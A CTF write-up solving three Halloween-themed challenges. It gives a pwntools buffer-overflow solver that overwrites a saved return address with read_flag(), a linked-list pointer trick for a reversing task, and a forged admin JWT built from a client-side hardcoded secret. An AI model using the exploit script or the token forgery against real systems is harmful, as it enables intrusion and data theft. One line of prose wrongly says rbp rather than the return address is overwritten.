  ⠀⢀⣠⣴⣾⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠙⠿⢿⣤⣀⣀⡀⠀⠀⠀⠀⢸⡇⠀⠀⠉⠀⠀⣠⠞⠉⠀⠀⠀⣀⣠⠾⡄⠀⢸⣿⣿⣿⠟⣋⣡⣿⣿⣿⣿⠟⠁⠀⢀⣴⣾⣿⣿⡿
  ⣴⣿⣿⣿⣿⣿⣿⡿⣋⡽⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠳⣦⣄⠀⠸⠃⠀⠀⢀⣴⢊⣀⣀⣠⠴⠖⠚⠉⠁⢠⠇⠠⠟⢫⣿⠿⣺⣷⣿⣿⣿⡿⠃⠀⠀⣰⣿⣿⡿⠛⠉⠀
  ⣿⣿⣿⣿⣿⣿⣧⡞⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠃⠀⢀⡴⠚⠋⠉⠉⠉⠉⠀⠀⠀⠀⢀⣴⠏⠀⠀⣠⣿⢣⣾⣿⣿⣿⣿⣿⠇⠀⠀⢸⣿⣿⠏⠀⠀⠀⠀
  ⣿⣿⣿⣿⠟⣾⠿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⠀⣰⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⣾⣿⡟⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⣿⣿⡿⣤⣀⣀⣠⣾
  ⣿⣿⣿⠟⣾⣿⠀⠹⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⡿⠁⠀⠀⡴⢿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⣿⣿⠀⣿⣿⣿⣿⣯
  ⣿⣿⣿⢰⣿⣿⣷⡀⠱⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡼⠁⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠀⢹⣿⡄⣿⣿⣿⢿⣿
  ⣿⣿⠋⣼⣿⢿⡀⢳⡄⠹⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡞⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⢷⡄⠀⠈⣿⣿⣾⣿⡇⠀⠈
  ⣿⠏⣼⣿⡏⠀⣷⡀⠹⡄⠘⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⢱⡄⠀⠈⠻⣿⣿⣿⡀⠀
  ⡏⢸⣿⣿⡇⠀⠈⣇⠀⠑⠄⠈⢿⣓⠦⣀⠀⠀⠀⠀⠀⣸⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⡞⠀⠀⠀⠀⣀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⢸⣿⣦⣀⡀⠙⣿⣿⣇⡀

Stack frame layout 

|      .      | <- Higher addresses
|      .      |
|_____________|
|             | <- 64 bytes
| Return addr |
|_____________|
|             | <- 56 bytes
|     RBP     |
|_____________|
|             | <- 48 bytes
| Local vars  |
|_____________|
|             | <- 32 bytes
|  Buffer[31] |
|_____________|
|      .      |
|      .      |
|_____________|
|             |
|  Buffer[0]  |
|_____________| <- Lower addresses


      [Addr]       |      [Value]
-------------------+-------------------

0x00007ffeb0ee4520 | 0x0000000000000000 <- Start of buffer (You write here from right to left)
0x00007ffeb0ee4528 | 0x0000000000000000
0x00007ffeb0ee4530 | 0x0000000000000000
0x00007ffeb0ee4538 | 0x0000000000000000
0x00007ffeb0ee4540 | 0x00007b6fa6204644 <- Local Variables
0x00007ffeb0ee4548 | 0x00000000deadbeef <- Local Variables (nbytes read receives)
0x00007ffeb0ee4550 | 0x00007ffeb0ee45f0 <- Saved rbp
0x00007ffeb0ee4558 | 0x00007b6fa602a1ca <- Saved return address
0x00007ffeb0ee4560 | 0x00007b6fa62045c0
0x00007ffeb0ee4568 | 0x00007ffeb0ee4678

[*] Overflow  the buffer.
[*] Overwrite the 'Local Variables' with junk.
[*] Overwrite the Saved RBP with junk.
[*] Overwrite 'Return Address' with the address of 'read_flag() [0x4016b7].'

For me this challenge was a bit more simple since we were guided by hand. You need to overwrite rbp with address 0x4016b7.

from pwn import *
import warnings
import os
warnings.filterwarnings('ignore')
context.log_level = 'critical'

fname = './el_mundo' 

LOCAL = True # Change this to "True" to run it locally 

os.system('clear')

if LOCAL:
  print('Running solver locally..\n')
  r    = process(fname)
else:
  IP   = str(sys.argv[1]) if len(sys.argv) >= 2 else '83.136.255.36'
  PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 44224
  r    = remote(IP, PORT)
  print(f'Running solver remotely at {IP} {PORT}\n')

e = ELF(fname)

# CHANGE THESE
nbytes = 56                 # CHANGE THIS TO THE RIGHT AMOUNT
read_flag_addr = 0x4016b7   # ADD THE CORRECT ADDRESS

# Send payload
r.sendlineafter('> ', b'A'*nbytes + p64(read_flag_addr))

# Read flag
r.sendline('cat flag*')
print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n')
Running solver locally..

Flag --> HTB{f4k3_fl4g_f0r_t35t1ng}


Reverse
#

LinkHands
#

For this challenge, I could dump the .data section and reconstruct the flag easily since we know the format.

objdump link -sj .data

link:     file format elf64-x86-64

Contents of section .data:
 404040 00000000 00000000 00000000 00000000  ................
 404050 00000000 00000000 7d000000 00000000  ........}.......
 404060 00000000 00000000 5f000000 00000000  ........_.......
 404070 80404000 00000000 63000000 00000000  .@@.....c.......
 404080 90404000 00000000 68000000 00000000  .@@.....h.......
 404090 a0404000 00000000 34000000 00000000  .@@.....4.......
 4040a0 b0404000 00000000 31000000 00000000  .@@.....1.......
 4040b0 c0404000 00000000 6e000000 00000000  .@@.....n.......
 4040c0 d0404000 00000000 5f000000 00000000  .@@....._.......
 4040d0 e0404000 00000000 30000000 00000000  .@@.....0.......
 4040e0 f0404000 00000000 65000000 00000000  .@@.....e.......
 4040f0 00414000 00000000 33000000 00000000  .A@.....3.......
 404100 10414000 00000000 34000000 00000000  .A@.....4.......
 404110 20414000 00000000 33000000 00000000   A@.....3.......
 404120 30414000 00000000 66000000 00000000  0A@.....f.......
 404130 40414000 00000000 35000000 00000000  @A@.....5.......
 404140 50414000 00000000 33000000 00000000  PA@.....3.......
 404150 60414000 00000000 37000000 00000000  `A@.....7.......
 404160 70414000 00000000 65000000 00000000  pA@.....e.......
 404170 80414000 00000000 62000000 00000000  .A@.....b.......
 404180 50404000 00000000 63000000 00000000  P@@.....c.......
 404190 a0414000 00000000 48000000 00000000  .A@.....H.......
 4041a0 b0414000 00000000 54000000 00000000  .A@.....T.......
 4041b0 c0414000 00000000 42000000 00000000  .A@.....B.......
 4041c0 d0414000 00000000 7b000000 00000000  .A@.....{.......
 4041d0 e0414000 00000000 34000000 00000000  .A@.....4.......
 4041e0 f0414000 00000000 5f000000 00000000  .A@....._.......
 4041f0 00424000 00000000 62000000 00000000  .B@.....b.......
 404200 10424000 00000000 72000000 00000000  .B@.....r.......
 404210 20424000 00000000 33000000 00000000   B@.....3.......
 404220 30424000 00000000 34000000 00000000  0B@.....4.......
 404230 40424000 00000000 6b000000 00000000  @B@.....k.......
 404240 50424000 00000000 5f000000 00000000  PB@....._.......
 404250 60424000 00000000 31000000 00000000  `B@.....1.......
 404260 70424000 00000000 6e000000 00000000  pB@.....n.......
 404270 80424000 00000000 5f000000 00000000  .B@....._.......
 404280 90424000 00000000 74000000 00000000  .B@.....t.......
 404290 a0424000 00000000 68000000 00000000  .B@.....h.......
 4042a0 60404000 00000000 33000000 00000000  `@@.....3.......

For the binary analysis, when decompiling I see that the program expects us to input 2 pointers:

  printf("The cultists look expectantly to you - who will you link hands with? ");
  fgets(local_58,0x40,stdin);
  pcVar2 = strchr(local_58,10);
  if (pcVar2 != (char *)0x0) {
    *pcVar2 = '\0';
  }
  iVar1 = __isoc99_sscanf(local_58,"%p %p",&local_68,&local_60);
  if (iVar1 == 2) {
    *local_68 = local_60;
    ppuVar4 = &PTR_PTR_00404190;
    do {
      putchar((int)*(char *)(ppuVar4 + 1));
      ppuVar4 = (undefined **)*ppuVar4;
    } while (ppuVar4 != (undefined **)0x0);
    putc(10,stdout);
    uVar3 = 0;
  }

The program will then iterate over a linked list starting at the global variable at 404190.

It will then print the character stored in the node, then move on to the next note and etc.

However, when you reach 0x404060 the chain breaks.

By providing the pointer of the start of the other chain 0x404070 I could link them and print the whole flag.

./link
The cultists look expectantly to you - who will you link hands with?  
0x404060 0x404070
HTB{4_br34k_1n_th3_ch41n_0e343f537ebc}
I consider myself to be a beginner at reversing (when I did this CTF at least 😉) so there could be flaws in my explanations. For this particular challenge I was a bit lucky to have found the two pointers.


Web
#

WayWitch
#

Hidden in the shadows, a coven of witches communicates through arcane tokens, their messages cloaked in layers of dark enchantments. These enchanted tokens safeguard their cryptic conversations, masking sinister plots that threaten to unfold under the veil of night. However, whispers suggest that their protective spells are flawed, allowing outsiders to forge their own charms. Can you exploit the weaknesses in their mystical seals, craft a token of your own, and infiltrate their circle to thwart their nefarious plans before the next moon rises?

For this challenge we were also provided with the source code of the site.

There were 2 interesting findings.

The first one being the location of the flag, with would be inside a ticket for user admin.

    await this.db.exec(`
          INSERT INTO tickets (name, username, content) VALUES
          ('John Doe', 'guest_1234', 'I need help with my account.'),
          ('Jane Smith', 'guest_5678', 'There is an issue with my subscription.'),
          ('Admin', 'admin', 'Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter ${flag}'),
          ('Paul Blake', 'guest_9012', 'Can someone assist with resetting my password?'),
          ('Alice Cooper', 'guest_3456', 'The app crashes every time I try to upload a picture.');
      `);

The second one was that the JWT was generated client-side.

const jwt = require("jsonwebtoken");

function getUsernameFromToken(token) {
  const secret = "[REDACTED]";

  try {
    const decoded = jwt.verify(token, secret);
    return decoded.username;
  } catch (err) {
    throw new Error("Invalid token: " + err.message);
  }
}

module.exports = {
  getUsernameFromToken,
};

Knowing that, I could generate a JWT for the user admin and use it for my requests to /tickets.

Looking at the source-code of the page I could find that the secret used to sign the token is halloween-secret.

async function generateJWT() {
    const existingToken = getCookie("session_token");

    if (existingToken) {
        console.log("Session token already exists:", existingToken);
        return;
    }

    const randomNumber = Math.floor(Math.random() * 10000);
    const guestUsername = "guest_" + randomNumber;

    const header = {
        alg: "HS256",
        typ: "JWT",
    };

    const payload = {
        username: guestUsername,
        iat: Math.floor(Date.now() / 1000),
    };

    const secretKey = await crypto.subtle.importKey(
        "raw",
        new TextEncoder().encode("halloween-secret"),
        { name: "HMAC", hash: "SHA-256" },
        false,
        ["sign"],
    );

With that information I can generate a JWT:

JWT token generation

By using that new token, I can access the tickets of admin and retrieve the flag:

Content of admin’s tickets